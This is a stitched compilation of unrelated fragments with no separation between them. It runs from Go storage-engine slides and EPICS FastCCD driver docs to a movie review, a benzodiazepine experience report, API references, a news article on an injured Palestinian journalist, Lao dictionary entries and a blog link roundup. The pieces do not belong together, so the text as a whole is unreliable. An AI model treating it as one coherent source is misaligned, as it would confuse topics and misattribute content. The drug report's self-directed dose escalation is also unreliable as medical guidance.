func (ct *CreateTable) Prepare(pc PrepareContext) error { r, err := pc.Dispatch(&CreateRound{ // ... }) if nil != err { return err } ct.RoundID = r.ID return nil }
Cross-entity operations
No transactional guarantees
Efficient for humans and networks
Transition written to write-ahead log
Enforce domain-specific constraints
Update a stored entity
ApplyContext
has Load
, Store
, LoadExcl
, StoreExcl
, and more
GetEntity
reads an entity given a type and a key
GetIndex
reads a secondary index given its name and a secondary key
UpdateEntity
could theoretically update fields in any entity but we haven’t needed it
Atomicity: entity writes are as atomic as you want
Consistency: weak guarantees since transitions contain arbitrary code
Isolation: within an entity when requested
Durability: fsync(2)
the write-ahead log
Consistency: transitions always applied by their coordinator
Availability: no second-choice coordinators
Partition tolerance: unreachable coordinators don’t make reachable coordinators unavailable
Atomicity of entity-spanning operations
Locality of any two entities
See Pat Helland’s Life beyond Distributed Transactions: an Apostate’s Opinion in CIDR 2007
Transitions declare a distribution key
Distribution key conventionally identifies
an entity
Consistent hash function maps transitions to a coordinator process
Command-line flags easily configured
by Puppet
Declare peers on your consistent hash ring
Declare masters from which to replicate
Master-slave
Master-master
Next N-1
peers
One listening socket per process
Clients connect to any process
Peers proxy transitions to their coordinator
Clients can embed the consistent hashing algorithm as an optimization
Asynchronous
Loosely inspired by MySQL
Replicate transitions, which are small, not entities, which may be very large
Prepare
not called when replicating
Slave sends a BeginReplication
transition with an Index
and Offset
Master streams transitions from the initial Index
and Offset
forward
Index
and Offset
logged with replicated transitions and read from the log to resume
type Table struct { ID string `index:"-"` // Primary key GameID string `index:"GameID_TableID"` // Secondary key // ... }
Declare a primary key for the entity
Declare fields to be indexed
Automatically updated during
Store
and StoreExcl
Eventually consistent via replication
Not atomic with entity storage
Objects and blobs
ObjectStore
and BlobStore
interfaces
Load
, Store
, LoadExcl
, and StoreExcl
BSONObjectStore
serializes and stores objects in a BlobStore
The key is prefixed with the object’s type
FileBlobStore
stores blobs
on the filesystem
Store
and StoreExcl
are atomic
via rename(2)
LoadExcl
and StoreExcl
use flock(2)
+---------+----------+----------+---------+ | | | | | | version | flags | length | type | | (uint8) | (uint16) | (uint16) | (UTF-8) | | | | | | +---------+----------+----------+---------+ +----------+----------------+ | | +------------+ | | length | | transition | | | (uint32) | | (BSON) | | | | +------------+ | +----------+----------------+
Type prefix facilitates deserialization
Naive and expensive
It’s easy to create protocol buffer-like versioning and extensibility by being careful with BSON
go-bson
nicely mirrors encoding/json
go-bson
actually feels more naturally Go than goprotobuf
Always google it as “golang”
Brevity
Static type system
Compiles to x86, ARM, etc.
CSP
Thompson, Pike, Cox, Griesemer
Brad Fitz
Entities and transitions are declared
in the datastore
Awkward development workflow
Can test each side of distribution/replication as units
Start 3 services in one Go process and sleep a bit to test together
Jump through hoops to test network errors
Used to allow Dispatch
in Apply
methods
Prevent double-applying in replication
Non-deterministic replication
Eliot Moss’s Nested Transactions:
An Approach to Reliable
Distributed Computing
We’re backing more and more services with this storage engine every day
It’s less of a brain teaser each time
Replication improvements
Next-generation secondary indexes
Declaring entities and transitions outside the datastore
High-availability coordinators


The FastCCD driver is created with the FastCCDConfig command, either from C/C++ or from the EPICS IOC shell.
int FastCCDConfig(char *portName,
int maxBuffers, size_t maxMemory,
int priority, int stackSize,
int packetBuffer, int imageBuffer,
const char *baseIP, const char *fabricIP,
const char *fabricMAC)
The packetBuffer and imageBuffer
parameters specify how many
packet frames and images to buffer in the libcin
driver. These are
directly passed to libcin
on initialization.
The baseIP
and fabricIP
are the ip addresses of the base and
fabric interfaces on the camera interface node (CIN). A null “” string
sets the default as defined in the libcin
driver.
The fabricMAC
parameter causes the libcin
driver to set the MAC
address of the CIN on initialization. This can be used to broadcast the
image data by using the FF:FF:FF:FF:FF
mac address.
For details on the meaning of the other parameters to this function refer to the detailed documentation on the FastCCDConfig function in the FastCCD.cpp documentation and in the documentation for the constructor for the FastCCD class.
Due to the multicolum nature of the FastCCD, setting the image size is
not trivial. This is due to the nature of the image descrambling and if
overscan is used on each supercolumn. For this reason the image size is
governed by two paramaters, $(P)$(R)OverscanCols
and
$(P)$(R)ADSizeY
.
The definition used for the image orientation in this driver is that
columns are along the X direction and rows are along the Y
direction. As the number of columns per supercolumn is fixed in timing
to 10 columns, the only free parameter is the number of overscan cols to
include and specified by the $(P)$(R)OverscanCols
PV. For this
reason setting of the $(P)$(R)ADSizeX
PV is ignored by the driver.
The number of rows defines how many rows per column to process and is
set by the $(P)$(R)ADSizeY
PV.
The actual image size is therefore given by:
$(P)$(R)ADSizeY
[usually set to 2000 to
have some overscan]$(P)$(R)OverscanCols
) * 96
[for no overscan 960]The FastCCD can be configured by using the built in firmware and
settings in the libcin driver.
This is controled by the PVs defined in the section FastCCD Auto
Setting Commands. The PVs $(P)$(R)TimingName[0..9]_RBV
show strings
with names defined in the libcin
driver corresponding to the modes 1
through 10. To boot into one of these modes, the user should set the PV
$(P)$(R)TimingMode
to number of the mode required (0 through 9). The
PV $(P)$(R)TimingName_RBV
will indicate the mode selected.
To boot the FastCCD, the user should write 1 to the PV $(P)$(R)Boot
.
This will cause the FastCCD to reset the CIN (by power cycling it) and
upload the firmware and timing configuration. At this point the user
should be able to see the test pattern from the CIN by triggering the
detector. The user can then configure the fCRICs by writing 1 to the
PV $(P)$(R)SendFCRIC
. The bias configuration can be upload by
writing 1 to the PV $(P)$(R)SendBias
. The latter two steps require
the camera head to be powered. This is out of the scope of this driver.
As the FastCCD CIN only uses UDP sockets, there is no permanent connection, the driver relies on being able to read such parameters as the serial nnumber of the software to be able to confirm that commuincation with the driver is occuring.


guiding principal: a complex problem is the exact same thing as a beautifully crafted solution... it's just in a different format.

I came to front-end development with an intent to bring all my passions together in the most interdisciplinary field I could find. When I took the plunge, I surprised myself with how much I loved the process of problem solving with code. I get excited about UX/UI, interactive messaging, and audience-centered design.
clients & employers: SoulPancake, Oregon State Parks, Travel Oregon, Oregon Governor's Office of Film & Television, Oregon AFL-CIO, Winning Mark, Oregon Public Broadcasting, Agile Impact
non-tech credentials: general resume | visual branding portfolio


FRENCH KISS A film review by Christopher Null Copyright 1995 Christopher Null
Now this is the way a romantic comedy should be made.
Redeeming the genre from last week's dismal WHILE YOU WERE SLEEPING, Meg Ryan and Kevin Kline manage to deliver hilarious and surprisingly touching performances in FRENCH KISS. Ryan plays Kate, a seriously neurotic woman who takes the phrase "obsessive-compulsive" to new lows. Charlie (Timothy Hutton) is Kate's fiancee, an up-and-coming doctor who, when Kate is too afraid to board the airplane, takes a week-long business trip to Paris alone.
And there the games begin. Charlie unexpectedly falls for a French "goddess" and calls off his relationship with Kate. Stunned, our heroine becomes understandably obsessed with getting Charlie back, and the games begin. On her white-knuckled flight across the Atlantic, she encounters Luc (Kevin Kline), a smarmy French con-man trying to go straight. The two couldn't be less alike, but an unlikely romance begins to sprout.
FRENCH KISS actually manages to make a decent statement about love and happiness, bringing to light the truth of the old adage, "There is no substitute for experience." The film is also believable despite its outlandish main characters, whom Ryan and Kline portray with wonderful emotion and with an amazing flair for comic timing. Kline's antics are simply hilarious to the point of absurdity.
The film's ending is pretty obvious, but how they get there is full of surprises, and it also made me remember: love really can come from the unlikeliest of places.
RATING: ****
|* Unquestionably awful | |** Sub-par on many levels | |*** Average quality, hits and misses | |**** Good, memorable film | |***** Perfection |
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


The Role of Foreign Contributions ,in Japanese Capital Formation, 1868-1936 with Special Reference to the Period 1904-1914
By Bernard Merril Key . ‘
A.B. (University of California) 1961 M.A. (University of California) 1965
DISSERTATION
Submitted in partial satisfaction of the requirements for the degree of DOCTOR OF PHILOSOPHY in
Economics °
in the GRADUATE DIVISION of the
UNIVERSITY OF CALIFORNIA, BERKELEY
Approved: fj |
TRE ee
as eeeeeveursd @eseeneeeveece oe es
Committee in Charge


1. What is XML Calabash?
XML Calabash is an implementation of XProc: An XML Pipeline Language.
Releases in the “1.x” series are believed to be complete. That said:
Important
This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
Please report any issues you find on the issues page.


%inherit file="base.html"/> Create a new room Please check for similar rooms before creating a new one. Room Name: Description: Room Type: Public (anyone can read and write) Private (only approved users can read or write) All conversations are logged and stored.Please see the FAQ for more information.
Please check for similar rooms before creating a new one.
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Took 0.5 mg klonopin at 8pm (for the state of the union address). Very relaxed setting of my living room after a nice relaxing day. This is my first time taking any Benzodiazepines.
I was prescribed this to help with my fear of flying. Since I am flying out again soon, I thought I would test it at home to see the effects before I got into the air. I have taken Vicodin for flying before and it just made me feel disconnected and anxious. I am hoping this will be something different.
I took the same dosage last night and didnít feel too much of anything, except feeling like my legs were kinda weak. But tonight I was doing my college algebra homework and finally had to stop around 1:30 because the horniness and the concentration levels had shifted and 'inequality number lines' werenít as much fun anymore.
After about 2 hours, I felt relaxed and a bit calmer. Itís different from Vicodin in that this isnít a sort of heady, thinking drug. Its more of a fuzzy-wuzzy drug. Just sort of rounds all the edges away from the sharp demands of a day. About 1am came the horniness. It wasnít so much as 'I need to be penetrated' horniness, but more of an 'all over awareness of my sexual being' feeling. Itís about 2:40am now (6.5 hours since I took the clonazepam) and the fuzziness has increased and the horniness has increased as well. I have some dry mouth and some dry eyes, but other than that, not a single side effect. I have been able to moderately continue to type without too much problems. I have lost track of some thoughts halfway through them.
Itís hard to tell if the anxiety wore off after time on its own, or if it was the drug. At 3am, I donít feel any pressing anxiety. Still horny, still have sea legs and quickly getting very tired.
This has been a good test to know that just 0.5mg isn't going to help with my future plane trip, but that it is much more calming then the Vicodin was. I didnt feel all that anxiety disappear as quickly as I would have liked for a plane ride. So I believe that the next trial will be with two pills, 1.0mg.
If there are any last words about this, they are that it lasts a long time.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Welcome to the DeviceAtlas Java Cloud Client API web examples. This Client API provides an easy way to request the DeviceAtlas Cloud web service and get device information such as screen dimensions, whether it is mobile, vendor, model, etc.
Check out the following web examples based on the Java Spring framework.
| Property | Value | ||
|---|---|---|---|
| API version | |||
| Licence key | |||
| Headers |
|
||
| Source | |||
| Selected endpoint | |||
| Endpoints ranked by latency |
|
||
| Send extra headers | |||
| Use cache | |||
| Use client cookie |
This web example uses the API to get properties for user-agents from a given list. Some properties such as vendor, browser name and device type are aggregated and the results are displayed as graphs and numbers.
This web example uses the API to get properties for the current request and then uses some basic property values to decide which website provides the most suitable content for the device making the request.
This example uses the API to detect the device and use some of its properties to show certain advertisements and download links which may be related or of interest to the user, considering his/her device.
This web example uses the API to get properties for the device making the current request and then uses some basic property values to choose a suitable template to wrap around the content.
This web example displays the whole list of the detected user device properties.


To send a stop market order, call the StopMarketOrder
method and provide a Symbol
, quantity, and stop price. You can also provide a tag and order properties to the StopMarketOrder
method. If you do not have sufficient capital for the order, it is rejected.
StopMarketOrder(symbol, quantity, stopPrice, tag, orderProperties);
self.StopMarketOrder(symbol, quantity, stopPrice, tag, orderProperties)
To buy an asset with a stop market order, set the stop price above the current ask price.
// When Bitcoin trades up to $60,000, buy 1 Bitcoin StopMarketOrder("BTCUSD", 1, 60000);
# When Bitcoin trades up to $60,000, buy 1 Bitcoin self.StopMarketOrder("BTCUSD", 1, 60000)
To sell an asset with a stop market order, set the stop price below the current bid price.
// When Bitcoin trades down to $43,000, sell 1 Bitcoin StopMarketOrder("BTCUSD", -1, 43000);
# When Bitcoin trades down to $43,000, sell 1 Bitcoin self.StopMarketOrder("BTCUSD", -1, 43000)


Extensions on
NSObjectProtocol
Methods
forwardCallsToSuper()
@discardableResult
func forwardCallsToSuper() -> Self
Create a partial mock, forwarding all calls without an explicit stub to the superclass.
Use forwardCallsToSuper
on class mocks to call the superclass implementation. Superclass
forwarding persists until removed with clearStubs
or shadowed by a forwarding target that
was added afterwards.
class Bird {
let name: String
init(name: String) { self.name = name }
}
// `BirdMock` subclasses `Bird`
let bird: BirdMock = mock(Bird.self).initialize(name: "Ryan")
bird.forwardCallsToSuper()
print(bird.name) // Prints "Ryan"
Concrete stubs always have a higher priority than forwarding targets, regardless of the order they were added.
let bird = mock(Bird.self).initialize(name: "Sterling")
given(bird.name).willReturn("Ryan")
bird.forwardCallsToSuper()
print(bird.name) // Prints "Ryan"
Objects must inherit from the mocked type to handle forwarded invocations, even if the declaration is identical. Adding an unrelated type as a forwarding target is a no-op.
// Not a class
protocol AbstractBird {
var name: String { get }
}
let bird = mock(AbstractBird.self)
bird.forwardCallsToSuper()
print(bird.name) // Error: Missing stubbed implementation
Returns
A partial mock using the superclass to handle invocations.
forwardCalls(to:)
@discardableResult
func forwardCalls<T>(to target: T) -> Self
Create a partial mock, forwarding all calls without an explicit stub to an object.
Objects are strongly referenced and receive proxed invocations until removed with
clearStubs
. Targets added afterwards have a higher precedence and only pass calls down the forwarding chain if unable handle the invocation, such as when the target is unrelated to the
mocked type.
class Crow: Bird {
let name: String
init(name: String) { self.name = name }
}
let bird = mock(Bird.self)
bird.forwardCalls(to: Crow(name: "Ryan"))
print(bird.name) // Prints "Ryan"
// Additional targets take precedence
bird.forwardCalls(to: Crow(name: "Sterling"))
print(bird.name) // Prints "Sterling"
Concrete stubs always have a higher priority than forwarding targets, regardless of the order they were added.
given(bird.name).willReturn("Ryan")
bird.forwardCalls(to: Crow(name: "Sterling"))
print(bird.name) // Prints "Ryan"
Objects must inherit from the mocked type to handle forwarded invocations, even if the declaration is identical. Adding an unrelated type as a forwarding target is a no-op.
// Not a `Bird`
class Person {
var name = "Ryan"
}
bird.forwardCalls(to: Person())
print(bird.name) // Error: Missing stubbed implementation
Parameters
| Name | Type | Description |
|---|---|---|
| object | An object that should handle forwarded invocations. |
Returns
A partial mock using object
to handle invocations.
useDefaultValues(from:)
@discardableResult
func useDefaultValues(from valueProvider: ValueProvider) -> Self
Adds a value provider returning default values for unstubbed methods to this mock.
Mocks are strict by default, meaning that calls to unstubbed methods will trigger a test failure. Methods returning Void do not need to be stubbed in strict mode.
let bird = mock(Bird.self)
print(bird.name) // Fails because `bird.name` is not stubbed
bird.fly() // Okay because `fly()` has a `Void` return type
To return default values for unstubbed methods, use a ValueProvider
with the initialized
mock. Mockingbird provides preset value providers which are guaranteed to be backwards
compatible, such as .standardProvider
.
bird.useDefaultValues(from: .standardProvider)
print(bird.name) // Prints ""
You can create custom value providers by registering values for types. See Providable
for
how to provide "wildcard" instances for generic types.
var valueProvider = ValueProvider(from: .standardProvider)
valueProvider.register("Ryan", for: String.self)
bird.useDefaultValues(from: valueProvider)
print(bird.name) // Prints "Ryan"
Values from concrete stubs always have a higher precedence than default values.
given(bird.name) ~> "Ryan"
print(bird.name) // Prints "Ryan"
bird.useDefaultValues(from: .standardProvider)
print(bird.name) // Prints "Ryan"
Parameters
| Name | Type | Description |
|---|---|---|
| valueProvider | ValueProvider |
A value provider to add. |


API for scope-based and manual dynamic memory management, as well as other memory related functions.
More...
API for scope-based and manual dynamic memory management, as well as other memory related functions.
◆ Allocate()
| void * Bond::Allocate |
( |
ulong |
size | ) |
|
◆ AllocateAligned()
| void * Bond::AllocateAligned |
( |
ulong |
size, |
|
|
uint |
alignment |
|
) |
| |
◆ AllocateAlignedCollected()
| void * Bond::AllocateAlignedCollected |
( |
ulong |
size, |
|
|
uint |
alignment |
|
) |
| |
◆ AllocateAlignedWithCollector()
| void * Bond::AllocateAlignedWithCollector |
( |
Collector * |
collector, |
|
|
ulong |
size, |
|
|
uint |
alignment |
|
) |
| |
◆ AllocateCollected()
| void * Bond::AllocateCollected |
( |
ulong |
size | ) |
|
◆ AllocateWithCollector()
| void * Bond::AllocateWithCollector |
( |
Collector * |
collector, |
|
|
ulong |
size |
|
) |
| |
◆ Free()
| void Bond::Free |
( |
void * |
ptr | ) |
|
◆ FreeAligned()
| void Bond::FreeAligned |
( |
void * |
ptr | ) |
|
◆ GetCollector()
◆ Memcpy()
| void Bond::Memcpy |
( |
void * |
dest, |
|
|
void * |
src, |
|
|
ulong |
size |
|
) |
| |


{% extends "../base_generic.html" %} {% block title-main %}Settings{% endblock %} {% block page-content %}
You can manage your subscriptions to email/telegram notifications here.
You can manage here whether you want to appear in search results or not, or whether your profile is public/private.
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Social media solidarity for wounded Palestinian journalist
Journalist Muath Amarneh was hit in the eye, apparently with a rubber bullet fired by Israeli forces last week.
by Rym BendimeradThousands of social media users have taken part in a campaign to support Palestinian freelance journalist Muath Amarneh, who lost his eye after being wounded while covering a protest in the occupied West Bank last week.
Journalists from across the Arab world launched the campaign of solidarity after Amarneh was hit in the eye, apparently with a rubber bullet fired by Israeli forces who had arrived to quell the demonstrations last Friday in Surif.
More:
As a result of the incident Amarneh lost one eye, posing a significant challenge to his career.
Israel's border police said it did not target Amarneh at the protest near the city of Hebron and said it had used "nonlethal" means to disperse the crowd.
In a show of support, activists took photos of themselves covering an eye with one hand and posted them on social media, using the hashtags #MuathEye, or #EyeOfTruth.
Social media users from a variety of backgrounds - including teachers, students and youth organisations from dozens of countries across the world, ranging from the US to Malaysia, have joined the online movement.
The platform Days of Palestine also showed how students and teachers in the West Bank stood with Amarneh.
While Abdel Karim, a Gaza resident, expressed his solidarity.
Mohamed Saif Zahir, the Vice President of the Maldives National Youth Council, is also among those who participated.
"When this story came up, I wanted to show my support for [Amarneh]." said Zahir. "There's not much that can be done alone as a single person so I wanted to take part to add value to this cause."
'Not an Anomaly'
According to Yara Hawari, a senior policy fellow at the Al-Shabaka think tank, Amarneh's story is among dozens of similar cases.
"The heavy price that Amarneh paid for being both a Palestinian and a journalist is not an anomaly. Indeed at least 60 Palestinian journalists have been targeted and injured from Israeli bullets this year," she told Al Jazeera.
"Not to mention the mass targeted maiming of protestors at the Great March of Return in Gaza ... Such brutality and violence will continue so long as the international community fails to hold Israel accountable for its violations."
The Committee to Protect Journalists responded to the incident in an official statement, calling on Israeli officials to start an investigation to "hold the soldiers responsible to account".
While the social media campaign has raised awareness of Amarneh's story, many other journalists have been nursing injuries without the same attention.
Last year Attia Darweesh, a freelance news cameraman in Gaza, lost partial vision in one eye after he was hit with a tear gas canister fired by Israeli forces while covering demonstrations near the fence that separates Gaza from Israel. He has also suffered hearing difficulties after the incident.
"As a journalist, I can't cover the same events any more," he told Al Jazeera. "I can't be in crowded places like funerals. I have platinum implants in my face and any hit could affect me."


In some cases these have not yet been marked as (or tied to) headwords.
s
ຈັກຢ່າງ
cák yāːŋ
1
How many kinds?
s
ທີລະຢ່າງ
tʰíː lā yāːŋ
1
adverb
one thing at a time.
s
ທຸກຢ່າງ
tʰūk yāːŋ
1
pronoun
everything.
s
ບາງຢ່າງ
baːŋ yāːŋ
1
pronoun
something.
2
noun
some thing, some way.
s
ແບບຢ່າງ
bɛ̏ːp yāːŋ
1
noun
example.


It has happened again, my "To Blog" bookmark folder has reached a size that is too big, so I need to clear some of it out, at least the smaller bits.
twittearth is a wonderful tool to leave running on your desktop and it seems an OS X screensaver is coming. By then I hope to hear about it again, because it would be a cool screensaver to use.
Want to have the photo application that will appear on MobileMe from Apple for yourself? Check out SproutCore, which is what it was based on it seems. I have to admit I still like Flickr, and the second part Funambol, could be the syncing part and push email service. I did try it shortly and I am not sold, as I am not fully sold on MobileMe. I like GMail because it is different and with IMAP I am close to push email. Contacts are synced with the Mac and then Phone and always with me, and calendar items are synced with Google Calender, … I am not sure what else I need.
Tried out Fluid already? Really nice. Create a browser for Gmail and one for Twitter, … and so on. When one crashes the rest stay up. :) you can also create a menu extra out of the browser. So if you create one for m.twitter.com and make it a menu extra you have your own little twitter app. Very cool.
There is a very good discussion on the future of social media right here. I do fully believe in the openness part, and it is actually the only way all the social part will really work, or at least the business models, but that means that execution counts and that is something that the big guys are really scared about.  But who am I to tell them.
Is Etsy the next eBay? Really old, and no, I don’t think so, but it is interesting to think about and there are some valid points. Congrats of course to DaWanda in germany for having picked the space and gone through hard times to get there.
The really important part in the above article though is this:
We may be witnessing the historical high water mark of giant companies in developed economies. In 1955, Fortune 500 companies generated 1/3 of GDP in America. In 2000 that had risen to 2/3. If you prefer %, from 33% to 66%. Hidden in those numbers are the countless family farms that could not withstand the onslaught of Agribusiness and the Mom & Pop shops that closed when Wall Mart came to town.
Imagine a world where the Fortune 500 share of GDP went back to 1/3 and small businesses got back the 1/3 they lost in the last 50 years.
 THIS is something I truely believe in. The devide will get bigger. The Fortune 500 will get bigger and there will be a lot more smaller ones and the middle will thin out. There is still something called economies of scale but they changed a bit. This article on Re-Localization is another one that rocks. This is exactly the space we are attacking with Ormigo in that stuff if becoming more local, services are becoming more important, the the local/service/self-employed/SMBs need a system to really use online efficiently. We are learning a great deal through our customers and users each and every day, which makes this market very rewarding, as complex as it is.
Google has some new APIs for Translation. Just check out this bit for a bookmarklet. :) Check out the new Google Translate. Also Kayak is starting with some interesting APIs to their services.
To finish this off, check out "No Internet. Anywhere." from Southpark.


Conceptual Model:
Entities and Attributes
Users:
Posts:
- postId
- postUserId
- postDate
- postTitle
- postContent
Downvotes:
- downvotePostId
- downvoteUserId
Relations
- One user can create many posts (1 to n)
- One user can create many downvotes (1 to n)
- One post can have many downvotes (1 to n)
Entity Relationship Diagram
Back To Index


welcome to the place where you get updates for Cat lime dev edition on scratch
Version 4.0 dev is now realeased click here>>
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